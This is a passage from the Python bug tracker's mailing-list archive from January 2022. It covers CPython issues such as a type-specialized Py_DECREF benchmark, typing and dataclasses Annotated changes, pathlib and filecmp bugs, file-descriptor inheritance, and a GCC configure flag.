92.8 ms +- 1.6 ms: 1.06x faster - regex_dna: 202 ms +- 3 ms -> 194 ms +- 3 ms: 1.04x faster - scimark_fft: 342 ms +- 12 ms -> 331 ms +- 7 ms: 1.03x faster - crypto_pyaes: 89.6 ms +- 1.7 ms -> 86.8 ms +- 1.1 ms: 1.03x faster - json_loads: 27.4 us +- 0.9 us -> 26.5 us +- 1.3 us: 1.03x faster - scimark_monte_carlo: 69.3 ms +- 1.5 ms -> 67.3 ms +- 1.2 ms: 1.03x faster - pickle_list: 4.62 us +- 0.21 us -> 4.51 us +- 0.15 us: 1.02x faster - scimark_sparse_mat_mult: 5.14 ms +- 0.21 ms -> 5.02 ms +- 0.18 ms: 1.02x faster - xml_etree_parse: 161 ms +- 5 ms -> 157 ms +- 6 ms: 1.02x faster - regex_effbot: 3.07 ms +- 0.05 ms -> 3.00 ms +- 0.07 ms: 1.02x faster - deltablue: 4.36 ms +- 0.14 ms -> 4.27 ms +- 0.14 ms: 1.02x faster - pickle_pure_python: 343 us +- 6 us -> 335 us +- 8 us: 1.02x faster - sqlite_synth: 2.60 us +- 0.06 us -> 2.55 us +- 0.04 us: 1.02x faster - xml_etree_iterparse: 110 ms +- 2 ms -> 108 ms +- 2 ms: 1.02x faster - go: 146 ms +- 2 ms -> 143 ms +- 3 ms: 1.02x faster - pathlib: 20.2 ms +- 0.5 ms -> 19.8 ms +- 0.3 ms: 1.02x faster - scimark_sor: 117 ms +- 3 ms -> 115 ms +- 2 ms: 1.02x faster - dulwich_log: 80.9 ms +- 2.0 ms -> 79.6 ms +- 1.7 ms: 1.02x faster - nqueens: 84.4 ms +- 1.7 ms -> 83.1 ms +- 2.0 ms: 1.02x faster - python_startup: 8.84 ms +- 0.07 ms -> 8.76 ms +- 0.07 ms: 1.01x faster - 2to3: 269 ms +- 4 ms -> 266 ms +- 3 ms: 1.01x faster - float: 77.0 ms +- 1.2 ms -> 76.5 ms +- 1.5 ms: 1.01x faster - sympy_integrate: 22.7 ms +- 0.3 ms -> 22.5 ms +- 0.2 ms: 1.01x faster - xml_etree_process: 55.7 ms +- 0.7 ms -> 55.4 ms +- 0.6 ms: 1.01x faster Benchmark hidden because not significant (24): chaos, django_template, hexiom, logging_format, logging_simple, pickle, pickle_dict, pidigits, pyflate, python_startup_no_site, raytrace, regex_v8, richards, scimark_lu, sqlalchemy_declarative, sqlalchemy_imperative, sympy_expand, sympy_sum, sympy_str, tornado_http, unpickle, unpickle_list, unpickle_pure_python, xml_etree_generate Geometric mean: 1.01x faster ---------- components: Interpreter Core messages: 411553 nosy: Dennis Sweeney priority: normal severity: normal status: open title: Type-specialized Py_DECREF type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 00:27:24 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 25 Jan 2022 05:27:24 +0000 Subject: [issue46509] Type-specialized Py_DECREF In-Reply-To: <1643088428.44.0.826862328466.issue46509@roundup.psfhosted.org> Message-ID: <1643088444.5.0.963817508432.issue46509@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- keywords: +patch pull_requests: +29052 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30872 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 00:33:34 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 25 Jan 2022 05:33:34 +0000 Subject: [issue46509] Type-specialized Py_DECREF In-Reply-To: <1643088428.44.0.826862328466.issue46509@roundup.psfhosted.org> Message-ID: <1643088814.41.0.966599377683.issue46509@roundup.psfhosted.org> Dennis Sweeney added the comment: This attempts to avoid the dispatch dance of Py_DECREF(op) :: Py_TYPE(op)->tp_dealloc(op) :: Py_TYPE(op)->tp_free((PyObject *)op); I suspect this earns the most speedup from floats, where freelist manipulation can be inlined. This might make a single-digit-int freelist more impactful. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 00:40:33 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 25 Jan 2022 05:40:33 +0000 Subject: [issue44796] Add __parameters__ and __getitem__ in TypeVar and ParamSpec In-Reply-To: <1627738289.78.0.80035642919.issue44796@roundup.psfhosted.org> Message-ID: <1643089233.87.0.184304648138.issue44796@roundup.psfhosted.org> Jelle Zijlstra added the comment: The linked PR makes `T = TypeVar("T"); T[int]` work. That's not currently meaningful syntax to the type checker, but we may want it in the future for higher-kinded types. I would rather not make this change without a clear static typing use case in mind. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 00:45:40 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 25 Jan 2022 05:45:40 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1643089540.18.0.438570658374.issue46476@roundup.psfhosted.org> Kumar Aditya added the comment: In the end I was able to restore the codeobjects before they were quickened so it works for both embedded and python command now. See the latest commits and it is also ready for review now. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 01:37:29 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 25 Jan 2022 06:37:29 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> Message-ID: <1643092649.9.0.87789461236.issue46491@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +29053 pull_request: https://github.com/python/cpython/pull/30873 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 01:37:35 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 25 Jan 2022 06:37:35 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> Message-ID: <1643092655.83.0.0514370865838.issue46491@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29054 pull_request: https://github.com/python/cpython/pull/30874 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 01:37:38 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 25 Jan 2022 06:37:38 +0000 Subject: [issue46491] typing: allow Annotated in outermost scope In-Reply-To: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> Message-ID: <1643092658.11.0.180897474961.issue46491@roundup.psfhosted.org> miss-islington added the comment: New changeset e1abffca45b60729c460e3e2ad50c8c1946cfd4e by Gregory Beauregard in branch 'main': bpo-46491: Allow Annotated on outside of Final/ClassVar (GH-30864) https://github.com/python/cpython/commit/e1abffca45b60729c460e3e2ad50c8c1946cfd4e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 02:01:34 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 25 Jan 2022 07:01:34 +0000 Subject: [issue41841] idlelib/NEWS.txt for 3.10.0 and backports In-Reply-To: <1600864292.35.0.268589439404.issue41841@roundup.psfhosted.org> Message-ID: <1643094094.01.0.845445900397.issue41841@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset 98cabce59958914b59914abbffbfde7129d4c47f by Terry Jan Reedy in branch '3.9': bpo-41841: update idlelib News up to 3.10.0 (GH-30871) https://github.com/python/cpython/commit/98cabce59958914b59914abbffbfde7129d4c47f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 02:02:06 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 25 Jan 2022 07:02:06 +0000 Subject: [issue41841] idlelib/NEWS.txt for 3.10.0 and backports In-Reply-To: <1600864292.35.0.268589439404.issue41841@roundup.psfhosted.org> Message-ID: <1643094126.92.0.439200152357.issue41841@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset ce79b504a790d02c080449d31356d33a5aaf19dd by Miss Islington (bot) in branch '3.10': bpo-41841: update idlelib News up to 3.10.0. (GH-30868) (GH-30870) https://github.com/python/cpython/commit/ce79b504a790d02c080449d31356d33a5aaf19dd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 02:09:10 2022 From: report at bugs.python.org (Christian Heimes) Date: Tue, 25 Jan 2022 07:09:10 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1643094550.13.0.34081738099.issue40280@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 8464fbc42ecc9ce504faac499711dcdc6eedef16 by Christian Heimes in branch 'main': bpo-40280: Skip subprocess-based tests on wasm32-emscripten (GH-30615) https://github.com/python/cpython/commit/8464fbc42ecc9ce504faac499711dcdc6eedef16 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 02:25:38 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 25 Jan 2022 07:25:38 +0000 Subject: [issue46496] idlelib/NEWS.txt for 3.11.0 and backports In-Reply-To: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> Message-ID: <1643095538.81.0.0909194264801.issue46496@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- keywords: +patch pull_requests: +29055 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30875 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 02:28:34 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 25 Jan 2022 07:28:34 +0000 Subject: [issue46496] idlelib/NEWS.txt for 3.11.0 and backports In-Reply-To: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> Message-ID: <1643095714.61.0.878575724319.issue46496@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- pull_requests: +29056 pull_request: https://github.com/python/cpython/pull/30876 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 02:31:27 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 25 Jan 2022 07:31:27 +0000 Subject: [issue46496] idlelib/NEWS.txt for 3.11.0 and backports In-Reply-To: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> Message-ID: <1643095887.86.0.55803159543.issue46496@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- pull_requests: +29057 pull_request: https://github.com/python/cpython/pull/30877 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 02:41:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 07:41:04 +0000 Subject: [issue46510] Update Python2-style exception handling Message-ID: <1643096464.21.0.982356437879.issue46510@roundup.psfhosted.org> New submission from Irit Katriel : Following issue45711 the redundancy in exc_info is now explicit. This means that we can now safely update places that still use python2-style exception handling code, like: exc_type, exc_value = sys.exc_info()[:2] try: response = dumps( Fault(1, "%s:%s" % (exc_type, exc_value)), encoding=self.encoding, allow_none=self.allow_none) response = response.encode(self.encoding, 'xmlcharrefreplace') finally: # Break reference cycle exc_type = exc_value = None ---------- assignee: iritkatriel components: Library (Lib) messages: 411561 nosy: iritkatriel priority: normal severity: normal status: open title: Update Python2-style exception handling type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 02:49:26 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 07:49:26 +0000 Subject: [issue46510] Update Python2-style exception handling In-Reply-To: <1643096464.21.0.982356437879.issue46510@roundup.psfhosted.org> Message-ID: <1643096966.68.0.490887976218.issue46510@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +29058 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30878 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 03:08:40 2022 From: report at bugs.python.org (Julien Palard) Date: Tue, 25 Jan 2022 08:08:40 +0000 Subject: [issue42238] Deprecate suspicious.py? In-Reply-To: <1604274563.95.0.828690163802.issue42238@roundup.psfhosted.org> Message-ID: <1643098120.59.0.671835282887.issue42238@roundup.psfhosted.org> Change by Julien Palard : ---------- pull_requests: +29059 pull_request: https://github.com/python/cpython/pull/30879 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 03:27:13 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 25 Jan 2022 08:27:13 +0000 Subject: [issue46496] idlelib/NEWS.txt for 3.11.0 and backports In-Reply-To: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> Message-ID: <1643099233.16.0.215115982311.issue46496@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset b1a3446f077b7d56b89f55d98dadb8018986a3e5 by Terry Jan Reedy in branch 'main': bpo-46496: Update IDLE News to 2021 Jan 24 (GH-30875) https://github.com/python/cpython/commit/b1a3446f077b7d56b89f55d98dadb8018986a3e5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 03:28:33 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 25 Jan 2022 08:28:33 +0000 Subject: [issue46496] idlelib/NEWS.txt for 3.11.0 and backports In-Reply-To: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> Message-ID: <1643099313.63.0.0898279457224.issue46496@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset 367a37a18c4411c42da9006947dd95b0afbdf200 by Terry Jan Reedy in branch '3.10': [3.10] bpo-46496: Update IDLE News to 2021 Jan 24 (GH-30876) https://github.com/python/cpython/commit/367a37a18c4411c42da9006947dd95b0afbdf200 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 03:28:57 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 25 Jan 2022 08:28:57 +0000 Subject: [issue46496] idlelib/NEWS.txt for 3.11.0 and backports In-Reply-To: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> Message-ID: <1643099337.01.0.192677576211.issue46496@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset 3178efbf06666409107237a3cfe61ba85a5d3a26 by Terry Jan Reedy in branch '3.9': [3.9] bpo-46496: Update IDLE News to 2021 Jan 24 (GH-30877) https://github.com/python/cpython/commit/3178efbf06666409107237a3cfe61ba85a5d3a26 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 03:29:51 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 25 Jan 2022 08:29:51 +0000 Subject: [issue46496] idlelib/NEWS.txt for 3.11.0 and backports In-Reply-To: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> Message-ID: <1643099391.47.0.580028131497.issue46496@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- stage: patch review -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 03:38:33 2022 From: report at bugs.python.org (Julien Palard) Date: Tue, 25 Jan 2022 08:38:33 +0000 Subject: [issue42238] Deprecate suspicious.py? In-Reply-To: <1604274563.95.0.828690163802.issue42238@roundup.psfhosted.org> Message-ID: <1643099913.38.0.273706408742.issue42238@roundup.psfhosted.org> Julien Palard added the comment: I slowly started to work on rstlint in its own tree because working in a single file felt inconfortable. The more I advanced in this direction the more it made sense to me: - I first added tests, I may have been able to do so in the cpython tree though. - It would ease the publication of it to pypi.org so it can be used by other projects. - It may ease contributions (some non-core-devs could be given rights to the repo, which make sense as it's not really Python related but more Sphinx related). It currently looks like this: https://github.com/JulienPalard/sphinxlint but should obviously be moved to github.com/python/ if we adopt this direction. So what do you think? (cc Georg as the main author of the script) If so I'd also like to rename the thing, it's currently named `rstlint`, but it's more a `sphinxlint` as Sphinx has adds a lot to rst and existing rst linters does not handle Sphinx well. ---------- nosy: +georg.brandl _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 03:50:50 2022 From: report at bugs.python.org (Christian Heimes) Date: Tue, 25 Jan 2022 08:50:50 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643100650.3.0.749407805003.issue42982@roundup.psfhosted.org> Christian Heimes added the comment: My question from last year has not been answered yet. Is there any valid scientific research on the number of rounds or duration? I neither know nor do I understand how Django came up with the numbers. PyCA cryptography copied the numbers without questioning them. Were does 250ms come from? 250ms at 100% CPU load sound way too costly for a website login and too fast for a password manager. For comparison Argon2's default runtime on my laptop is 50ms. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 04:02:48 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Tue, 25 Jan 2022 09:02:48 +0000 Subject: [issue46511] dataclasses: Allow typing.Annotated to wrap dataclasses-specific annotations Message-ID: <1643101368.65.0.575407689959.issue46511@roundup.psfhosted.org> New submission from Gregory Beauregard : In https://bugs.python.org/issue46491 the typing runtime behavior was changed so that `Annotated[Classvar[...]]` is now valid at runtime in order to alleviate tension between typing and non-typing annotation space uses. dataclasses.py should likely follow suit in its runtime use of `ClassVar` and `InitVar`. Reviewing the code I see two areas that would need addressed: 1) `InitVar` needs changed so `Annotated[InitVar[...]]` is no longer a runtime error. This is currently a runtime error completely by accident: typing.py expects special type forms to be `callable()`, usually by implementing a `__call__` that throws an error, but `InitVar` does not implement this. Adding an implementation like in typing.py would fix the runtime error: https://github.com/python/cpython/blob/b1a3446f077b7d56b89f55d98dadb8018986a3e5/Lib/typing.py#L391-L392 2) The dataclasses-specific typehint introspection implementation needs modified to accommodate being wrapped by an `Annotated` annotation. I see in the comments the code is performance sensitive so I'm not sure what you want to do; f.ex. the regex needs modified, but it's not clean. What are your thoughts? ---------- components: Library (Lib) messages: 411567 nosy: GBeauregard, Jelle Zijlstra, eric.smith priority: normal severity: normal status: open title: dataclasses: Allow typing.Annotated to wrap dataclasses-specific annotations type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 04:43:02 2022 From: report at bugs.python.org (Ben Avrahami) Date: Tue, 25 Jan 2022 09:43:02 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1643103782.62.0.0290217715979.issue46376@roundup.psfhosted.org> Ben Avrahami added the comment: IMHO, I don't think any alternative to aviramha's solution addresses the issue, And I don't think the need is niche enough to be ignored. PyType_HasFeature excludes strings, bytes, and other esoteric types. PyMapping_Check includes mappings like dict and MappingProxyType. PySequence_Check includes non-dict mappings like MappingProxyType. The only possible solutions right now are: a. Import the "collections.abc.Sequence" class into C and run "PyObject_IsInstance" on it. This would be the correct solution, but it would be slower than aviramha's propsal. b. Perform's aviramha's proposal manually: first check the "Py_TPFLAGS_SEQUENCE" feature flag, and fallback for instance checking strings, bytecodes, and other esoteric types individually. This would be correct and fast, but is cumbersome to perform, and users are bound to forget some types. A question as simple as "would isinstance(X, ) returns true?" should be easier to answer for low-level developer, one only needs to look at the finagling numpy, among others, has to perform to parse a sequence (the relevant function in numpy is called "PyArray_FromAny"). A simple implementation of a new function for non-CPython alternatives will be to do implement solution a: import "collections.abc.Sequence", and check for instance. For CPYTHON, this can be optimized by implementing solution b. There is already a precedence for ABI functions that only exist because its trivial implementation can be optimized with CPython specific behaviour. I don't understand the reluctance to add this one. ---------- nosy: +avrahami.ben _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 04:44:00 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 25 Jan 2022 09:44:00 +0000 Subject: [issue46483] `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` In-Reply-To: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org> Message-ID: <1643103840.79.0.908573100104.issue46483@roundup.psfhosted.org> Serhiy Storchaka added the comment: It is not related to email and asyncio either. ---------- components: -asyncio, email _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 04:46:10 2022 From: report at bugs.python.org (bers) Date: Tue, 25 Jan 2022 09:46:10 +0000 Subject: [issue46512] Explicit or correct behavior of filecmp.cmpfiles w/ absolute path names Message-ID: <1643103970.65.0.0273493721081.issue46512@roundup.psfhosted.org> New submission from bers : It is very easy to use filecmp.cmpfiles incorrectly by passing absolute path names. This is because 1. the documentations does not say that relative path names have to be passed, and 2. filecmp.cmpfiles does not issue a warning when absolute path names are passed. Consider this example code, which does look sensible at first glance: files = dir_a.glob("*") (equal, _, _) = filecmp.cmpfiles(dir_a, dir_b, files, shallow=False) print("equal:", *equal) However, in the full example below, you will see that this code fails to detect that two files are actually different. """Demo behavior of filecmp.cmpfiles with absolute path names.""" import filecmp import tempfile from pathlib import Path with tempfile.TemporaryDirectory() as tmpdirname: # prepare two different files tmpdir = Path(tmpdirname) dir_a = tmpdir / "a" dir_b = tmpdir / "b" file_a = dir_a / "foo.txt" file_b = dir_b / "foo.txt" dir_a.mkdir() dir_b.mkdir() file_a.write_text("A") file_b.write_text("B") # actually diff the files files = dir_a.glob("*") # filecmp should issue a warning here! (equal, _, _) = filecmp.cmpfiles(dir_a, dir_b, files, shallow=False) # otherwise, this result is easy to misinterpret - files are reported as equal print("equal:", *equal) ---------- components: Library (Lib) messages: 411570 nosy: bers priority: normal severity: normal status: open title: Explicit or correct behavior of filecmp.cmpfiles w/ absolute path names type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 04:53:58 2022 From: report at bugs.python.org (Brett Randall) Date: Tue, 25 Jan 2022 09:53:58 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1643104438.1.0.863550948733.issue46454@roundup.psfhosted.org> Change by Brett Randall : ---------- nosy: +javabrett _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 05:04:04 2022 From: report at bugs.python.org (Georg Brandl) Date: Tue, 25 Jan 2022 10:04:04 +0000 Subject: [issue42238] Deprecate suspicious.py? In-Reply-To: <1604274563.95.0.828690163802.issue42238@roundup.psfhosted.org> Message-ID: <1643105044.95.0.504309122452.issue42238@roundup.psfhosted.org> Georg Brandl added the comment: > I was not here 21 years ago when it was introduced You gave me a small shock, but I checked and it was only 11/12 years ago :D I'm fine with moving this out of tree; please coordinate with the Sphinx maintainers whether it should be an "official" extension or completely separate. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 05:24:35 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 10:24:35 +0000 Subject: [issue24398] Update test_capi to use test.support.script_helper In-Reply-To: <1433614432.33.0.0607159967244.issue24398@psf.upfronthosting.co.za> Message-ID: <1643106275.23.0.67562421231.issue24398@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 05:44:17 2022 From: report at bugs.python.org (Brett Randall) Date: Tue, 25 Jan 2022 10:44:17 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1643107457.8.0.677276879084.issue46454@roundup.psfhosted.org> Brett Randall added the comment: For the possible benefit of future readers of this issue, the sequence and behaviour here which may cause confusion: - say stdin is closed, perhaps along with stdout and stderr via a call to os.closerange(0, 3) or otherwise - os.open() is called and creates a new fd=0, which will always be 0 since 0 is now available and lowest. Per PEP 446 this fd is non-inheritable. - a call to os.dup2(fd, 0) is made but is a noop, since fd=0 and dup2() ignores copy-to-same. This behaviour may go unnoticed - it may not be noticed that the new fd=0 (it should always be this), or that dup2() has this noop behaviour. Per PEP 446, dup2() still creates inheritable by-default, so the caller may expect that they have just assigned an inheritable fd to stdin, instead of a noop. - subprocess() is called and the subprocess does not have stdin/0 fd assigned, since it was not inheritable. It seems the main way to avoid this is to os.open() the replacement fd _before_ closing stdin/0, in which case it will receive an fd >= 3. The dup2(fd, 0) call will then work and the resulting fd 0 will be inheritable, including by-default by subprocess() processes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 05:56:07 2022 From: report at bugs.python.org (Brett Randall) Date: Tue, 25 Jan 2022 10:56:07 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1643108167.96.0.895652685081.issue46454@roundup.psfhosted.org> Brett Randall added the comment: docker run -i --rm python:3.9 <<-EOF import os print(os.get_inheritable(0)) fd_null_before_close = os.open("/dev/null", os.O_RDWR) os.close(0) fd_null = os.open("/dev/null", os.O_RDWR) print(fd_null_before_close) print(fd_null) os.dup2(fd_null, 0) print(os.get_inheritable(0)) os.dup2(fd_null_before_close, 0) print(os.get_inheritable(0)) EOF True 3 0 False True ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 06:01:59 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 11:01:59 +0000 Subject: [issue46510] Update Python2-style exception handling In-Reply-To: <1643096464.21.0.982356437879.issue46510@roundup.psfhosted.org> Message-ID: <1643108519.91.0.238473884812.issue46510@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: +29060 pull_request: https://github.com/python/cpython/pull/30880 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 06:06:46 2022 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 25 Jan 2022 11:06:46 +0000 Subject: [issue46464] concurrent.futures.ProcessPoolExecutor can deadlock when tcmalloc is used In-Reply-To: <1642807973.18.0.685289247639.issue46464@roundup.psfhosted.org> Message-ID: <1643108806.41.0.148276722522.issue46464@roundup.psfhosted.org> Antoine Pitrou added the comment: Indeed, it seems this should only be disabled when the "fork" model is used, especially as the optimization is mostly valuable when spawning a worker is expensive. ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 06:13:51 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 25 Jan 2022 11:13:51 +0000 Subject: [issue46510] Update Python2-style exception handling In-Reply-To: <1643096464.21.0.982356437879.issue46510@roundup.psfhosted.org> Message-ID: <1643109231.64.0.531649652108.issue46510@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303 nosy_count: 1.0 -> 2.0 pull_requests: +29061 pull_request: https://github.com/python/cpython/pull/30881 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 06:28:33 2022 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Tue, 25 Jan 2022 11:28:33 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ Message-ID: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> New submission from Miro Hron?ok : As described at https://mail.python.org/archives/list/python-dev at python.org/thread/MPHZ3TGSHMSF7C4P7JEP2ZCYLRA3ERC5/ the AC_C_CHAR_UNSIGNED macro from configure.ac confuses GCC 12+ as it exports a reserved symbol __CHAR_UNSIGNED__ through pyconfig.h. My assumption was that AC_C_CHAR_UNSIGNED can be dropped entirely and the PR in https://github.com/python/cpython/pull/30851 confirmed that all the buildbots are happy with such change. Hence, I open this issue to actually do it. Thanks ---------- components: Build messages: 411575 nosy: christian.heimes, hroncok, petr.viktorin, vstinner priority: normal severity: normal status: open title: AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ type: compile error versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 06:34:07 2022 From: report at bugs.python.org (Christian Heimes) Date: Tue, 25 Jan 2022 11:34:07 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643110447.39.0.0492357898873.issue46513@roundup.psfhosted.org> Change by Christian Heimes : ---------- keywords: +patch pull_requests: +29062 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30851 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 06:35:42 2022 From: report at bugs.python.org (Christian Heimes) Date: Tue, 25 Jan 2022 11:35:42 +0000 Subject: [issue46513] AC_C_CHAR_UNSIGNED from configure.ac confuses GCC 12+ by defining __CHAR_UNSIGNED__ In-Reply-To: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org> Message-ID: <1643110542.99.0.0506118125071.issue46513@roundup.psfhosted.org> Christian Heimes added the comment: Modules/audioop.c uses __CHAR_UNSIGNED__, but the absence or presence of the symbol does not affect behavior: #if defined(__CHAR_UNSIGNED__) #if defined(signed) /* This module currently does not work on systems where only unsigned characters are available. Take it out of Setup. Sorry. */ #endif #endif ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 06:41:01 2022 From: report at bugs.python.org (Savo Vuksan) Date: Tue, 25 Jan 2022 11:41:01 +0000 Subject: [issue46514] Pathlib Path.touch() seems to ignore groups write bit for mode parameter Message-ID: <1643110861.51.0.78665540469.issue46514@roundup.psfhosted.org> New submission from Savo Vuksan : The touch function of the Path Object in the Pathlib module seems to ignore the write bit for the second octal number for the groups permission in the mode parameter In the provided script you can see that the output prints -rwxr-xr-- but it should be -rwxrwxr-- I use python 3.9 on a Linux machine running manjaro with following kernel: 5.13.19-2-MANJARO ---------- components: IO files: bug.py messages: 411577 nosy: SavoVuksan priority: normal severity: normal status: open title: Pathlib Path.touch() seems to ignore groups write bit for mode 